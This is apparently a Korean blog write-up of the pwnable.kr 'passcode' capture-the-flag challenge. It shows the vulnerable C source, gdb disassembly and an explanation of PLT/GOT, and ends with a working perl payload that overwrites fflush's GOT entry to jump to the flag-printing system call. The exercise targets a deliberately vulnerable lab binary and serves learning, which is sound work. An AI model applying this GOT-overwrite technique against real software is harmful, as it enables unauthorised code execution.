아 이 문제 넘나 어려웠엉 ㅜㅜ
이 문제 풀면서 배운 개념은 평생 기억날 것 같다.
소스코드는 다음과 같다.
#include <stdio.h>
#include <stdlib.h>
void login(){
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);
printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}
void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}
int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");
welcome();
login();
// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}
이름을 100글자 받고 다시 login함수에서 정수 2개를 차례로 받아서 검사하고
플래그를 출력해주는 구조다.
근데 웬걸!! 이 샛기가 scanf에 주소값을 안주고 일반 변수를 인자로 줬다.
즉 저 함수가 실행되면 초기화 되지 않은 변수에 들어있는 쓰레기값이 들어가고 그 쓰레기값에 해당하는 주소에 입력이 박힌다.
입력이 똑바로 박히기라도 하면 다행이다. 코드나 커널쪽을 건드리면 실행조차 안된다.
메인 함수에서 welcome을 호출하고 login을 차례대로 호출하는 방식으로 동작한다.
우선 gdb로 각각의 함수들을 까보자.
가장 처음호출되는 함수인 welcome부터 보자
0x08048609 <+0>: push ebp
0x0804860a <+1>: mov ebp,esp
0x0804860c <+3>: sub esp,0x88
0x08048612 <+9>: mov eax,gs:0x14
0x08048618 <+15>: mov DWORD PTR [ebp-0xc],eax
0x0804861b <+18>: xor eax,eax
0x0804861d <+20>: mov eax,0x80487cb
0x08048622 <+25>: mov DWORD PTR [esp],eax
0x08048625 <+28>: call 0x8048420 <printf@plt>
0x0804862a <+33>: mov eax,0x80487dd
0x0804862f <+38>: lea edx,[ebp-0x70] // scanf의 인자로 들어간다.
0x08048632 <+41>: mov DWORD PTR [esp+0x4],edx // ebp-70부분부터 name[100]의 값을 받는다.
0x08048636 <+45>: mov DWORD PTR [esp],eax // 즉, name 배열의 주소는 ebp-70이고 크기가 총 100바이트짜리이므로 ebp-c까지가 name 배열의 영역이다.
0x08048639 <+48>: call 0x80484a0 <__isoc99_scanf@plt>
0x0804863e <+53>: mov eax,0x80487e3
0x08048643 <+58>: lea edx,[ebp-0x70]
0x08048646 <+61>: mov DWORD PTR [esp+0x4],edx
0x0804864a <+65>: mov DWORD PTR [esp],eax
0x0804864d <+68>: call 0x8048420 <printf@plt>
0x08048652 <+73>: mov eax,DWORD PTR [ebp-0xc]
0x08048655 <+76>: xor eax,DWORD PTR gs:0x14
0x0804865c <+83>: je 0x8048663 <welcome+90>
0x0804865e <+85>: call 0x8048440 <__stack_chk_fail@plt>
0x08048663 <+90>: leave
0x08048664 <+91>: ret
그 외에는 딱히 특별한 부분이 없다.
++ 얘네는 스택 정리하는 코드를 함수에 넣어놔서 더 헷갈렸디;;
다음은 login파트의 어셈블리 부분이다.
0x0048564 <+0>: push ebp
0x08048565 <+1>: mov ebp,esp
0x08048567 <+3>: sub esp,0x28 // 0x28바이트의 지역변수
0x0804856a <+6>: mov eax,0x8048770
0x0804856f <+11>: mov DWORD PTR [esp],eax
0x08048572 <+14>: call 0x8048420 <printf@plt>
0x08048577 <+19>: mov eax,0x8048783
0x0804857c <+24>: mov edx,DWORD PTR [ebp-0x10] // ebp-10부분의 메모리를 긁어서 넣어준다.
0x0804857f <+27>: mov DWORD PTR [esp+0x4],edx // 아까 ebp-c까지 메모리를 받던데?? -> 100개의 입력중 마지막 4자리를 조절해서 흐름을 바꿀 수 있다.
0x08048583 <+31>: mov DWORD PTR [esp],eax
0x08048586 <+34>: call 0x80484a0 <__isoc99_scanf@plt> //scanf문의 인자니까 받는 메모리 주소겠지? 작성자가 주소값을 안넣어놓은걸 내가 임의의 주소를 넣어서 특정 부분을 바꿔야 할것 같다.
0x0804858b <+39>: mov eax,ds:0x804a02c
0x08048590 <+44>: mov DWORD PTR [esp],eax
0x08048593 <+47>: call 0x8048430 <fflush@plt>
0x08048598 <+52>: mov eax,0x8048786
0x0804859d <+57>: mov DWORD PTR [esp],eax
0x080485a0 <+60>: call 0x8048420 <printf@plt>
0x080485a5 <+65>: mov eax,0x8048783
0x080485aa <+70>: mov edx,DWORD PTR [ebp-0xc]
0x080485ad <+73>: mov DWORD PTR [esp+0x4],edx
0x080485b1 <+77>: mov DWORD PTR [esp],eax
0x080485b4 <+80>: call 0x80484a0 <__isoc99_scanf@plt>
0x080485b9 <+85>: mov DWORD PTR [esp],0x8048799
0x080485c0 <+92>: call 0x8048450 <puts@plt>
0x080485c5 <+97>: cmp DWORD PTR [ebp-0x10],0x528e6
0x080485cc <+104>: jne 0x80485f1 <login+141>
0x080485ce <+106>: cmp DWORD PTR [ebp-0xc],0xcc07c9
0x080485d5 <+113>: jne 0x80485f1 <login+141>
0x080485d7 <+115>: mov DWORD PTR [esp],0x80487a5
0x080485de <+122>: call 0x8048450 <puts@plt>
0x080485e3 <+127>: mov DWORD PTR [esp],0x80487af
0x080485ea <+134>: call 0x8048460 <system@plt> // 플래그 출력부
0x080485ef <+139>: leave
0x080485f0 <+140>: ret
0x080485f1 <+141>: mov DWORD PTR [esp],0x80487bd
0x080485f8 <+148>: call 0x8048450 <puts@plt>
0x080485fd <+153>: mov DWORD PTR [esp],0x0
0x08048604 <+160>: call 0x8048480 <exit@plt>
이 다음엔 plt와 got의 개념에 대해서 잠깐 설명하겠다.
c파일을 컴파일하면 오브젝트 파일이 생성되는데
오브젝트 파일은 아직 외부 라이브러리에 대한 실제 실행코드가 들어있지 않은 상태이다.
따라서 외부라이브러리 오브젝트 파일의 실행코드들과 매치를 시켜서 실제 실행 코드를 삽입해줘야하는데
이 과정을 링킹이라고 부른다. 링크는 동적 링크와 정적 링크가 있다.
정적 링크는 그냥 실행코드를 exe파일에 다 때려 박는 방식이다.
프로그램이 매우 커지고 같은 용도의 함수가 메모리 상에 많이 올라가기 때문에 비효율 적이다.
동적 링크는 외부 라이브러리를 메모리공간에 올려두고 필요할때마다 불러다 쓰는 방식을 말한다.
따라서 대부분의 프로그램들은 동적 링킹을 사용한다.
그런데 동적링킹을 하면 반드시 필요한 과정이 있다.
프로그램에서 printf문을 호출했을 때, 그 실행코드의 주소가 과연 어디에 있는지를 알아야 실행할 것 아닌가
이 때 사용하는 것이 plt와 got이다. (procedure linkage table, gobal offset table)
plt로 외부 라이브러리를 호출하면 다음과 같은 과정을 거친다. 어셈블리에 들어있는 @plt가 붙어 있는 함수들은 모두 이 과정을 거친다.
1.plt로 점프
2.got함수로 점프
3. 함수 주소가 있을 경우 해당 주소로 점프
4. 주소가 없을 경우 de_resolve 라는 함수를 통해서 해당 함수의 주소를 반환함
그니까 쉽게 말해서 그냥 외부 라이브러리 주소 저장하는 캐시테이블이라고 생각해도 무방하다
우선 우리가 4바이트의 값을 scanf를 통해서 변조한 뒤에 흐름이 달라질 것이므로
scanf호출 뒤에 가장 처음 plt로 호출되는 함수인 fflush(stdin); 의 plt테이블을 살펴보도록 하자
x/3i 0x8048430
0x8048430 <fflush@plt>: jmp DWORD PTR ds:0x804a004 // 찾았다. 이거 0x804a004에 '담겨있는 주소'로 점프하는 문장이다.
0x8048436 <fflush@plt+6>: push 0x8
0x804843b <fflush@plt+11>: jmp 0x8048410
다시 말해서 4바이트 변조하는 값으로 0x804a004에 있는 주소를 system함수가 flag를 출력하는 부분(0x080485e3)으로 바꾸면 끝나는 문제다.
페이로드 : perl -e 'print "a"x96 . "\x04\xa0\x04\x08" . "134514147"' | ./passcode
134514147 = 0x080485e3
다 좋은데 마지막에 처음에 시도할 때
./passcode $(perl -e 'print "a"x96 . "\x04\xa0\x04\x08"') 까지만 넣고 134514147은 그냥 칠려했는데 끝까지 scanf부분에서 안멈춰서 힘들었다;;
'write-up > pwnable.kr' 카테고리의 다른 글
[toddler's bottle] mistake (0) | 2018.11.30 |
---|---|
[toddler's bottle] random (0) | 2018.11.30 |
[toddler's bottle] flag (0) | 2018.11.30 |
[toddler's bottle] bof (0) | 2018.11.30 |
[toddler's bottle] col (0) | 2018.11.30 |